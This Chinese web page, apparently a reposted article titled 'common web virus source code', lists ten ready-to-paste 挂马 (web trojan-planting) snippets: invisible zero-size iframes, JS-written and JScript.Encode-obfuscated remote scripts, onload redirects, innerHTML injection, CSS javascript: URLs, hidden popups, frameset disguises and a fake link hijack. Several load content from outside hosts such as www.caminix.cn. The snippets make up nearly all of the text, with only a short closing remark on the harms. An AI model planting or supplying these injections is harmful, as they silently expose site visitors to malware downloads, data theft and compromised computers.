常见网页病毒的源代码

常见网页病毒的源代码,第1张

挂马代码如下

一:框架挂马

<iframe src=地址 width=0 height=0></iframe>

二:js文件挂马

首先将以下代码

document.write("<iframe width='0' height='0' src='地址'></iframe>")

保存为xxx.js,

则JS挂马代码为

<script language=javascript src=xxx.js></script>

三:js变形加密

<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>

muma.txt可改成任意后缀

四:body挂马

<body onload="window.location='地址'"></body>

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML +'\r\n<iframe src="http://www.caminix.cn"></iframe>'

六:css中挂马

body {

background-image: url('javascript:document.write("<script src=http://www.caminix.cn></script>")')}

七:JAJA挂马

<SCRIPT language=javascript>

window.open ("http://www.caminix.cn","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1")

</script>

八:图片伪装

<html>

<iframe src="网马地址" height=0 width=0></iframe>

<img src="图片地址"></center>

</html>

九:伪装调用:

<frameset rows="444,0" cols="*">

<frame src="打开网页" framborder="no" scrolling="auto" noresizemarginwidth="0"margingheight="0">

<frame src="网马地址" frameborder="no" scrolling="no" noresizemarginwidth="0"margingheight="0">

</frameset>

十:高级欺骗

<a href="http://www.163.com" onMouseOver="www_163_com()return true"></a>

<SCRIPT Language="JavaScript">

function www_163_com ()

{

var url="http://www.caminix.cn"

open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10")

}

</SCRIPT>

网页病毒获取源码当然有影响,可能导致电脑被攻击,信息泄露,电脑死机。拓展:源码就是指编写的最原始程序的代码。运行的软件是要经过编写的,程序员编写程序的过程中需要他们的"语言"。音乐家用五线谱和音符,建筑师用图纸和笔,那程序员的工作的语言就是"源码"了。人们平时使用软件时就是程序把"源码"翻译成我们可直观的形式表现出来供我们使用的。任何一个网站页面,换成源码就是一堆按一定格式书写的文字和符号,但我们的浏览器帮我们翻译成眼前的模样了。


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/7474352.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-06
下一篇 2023-04-06

发表评论

登录后才能评论

评论列表(0条)

保存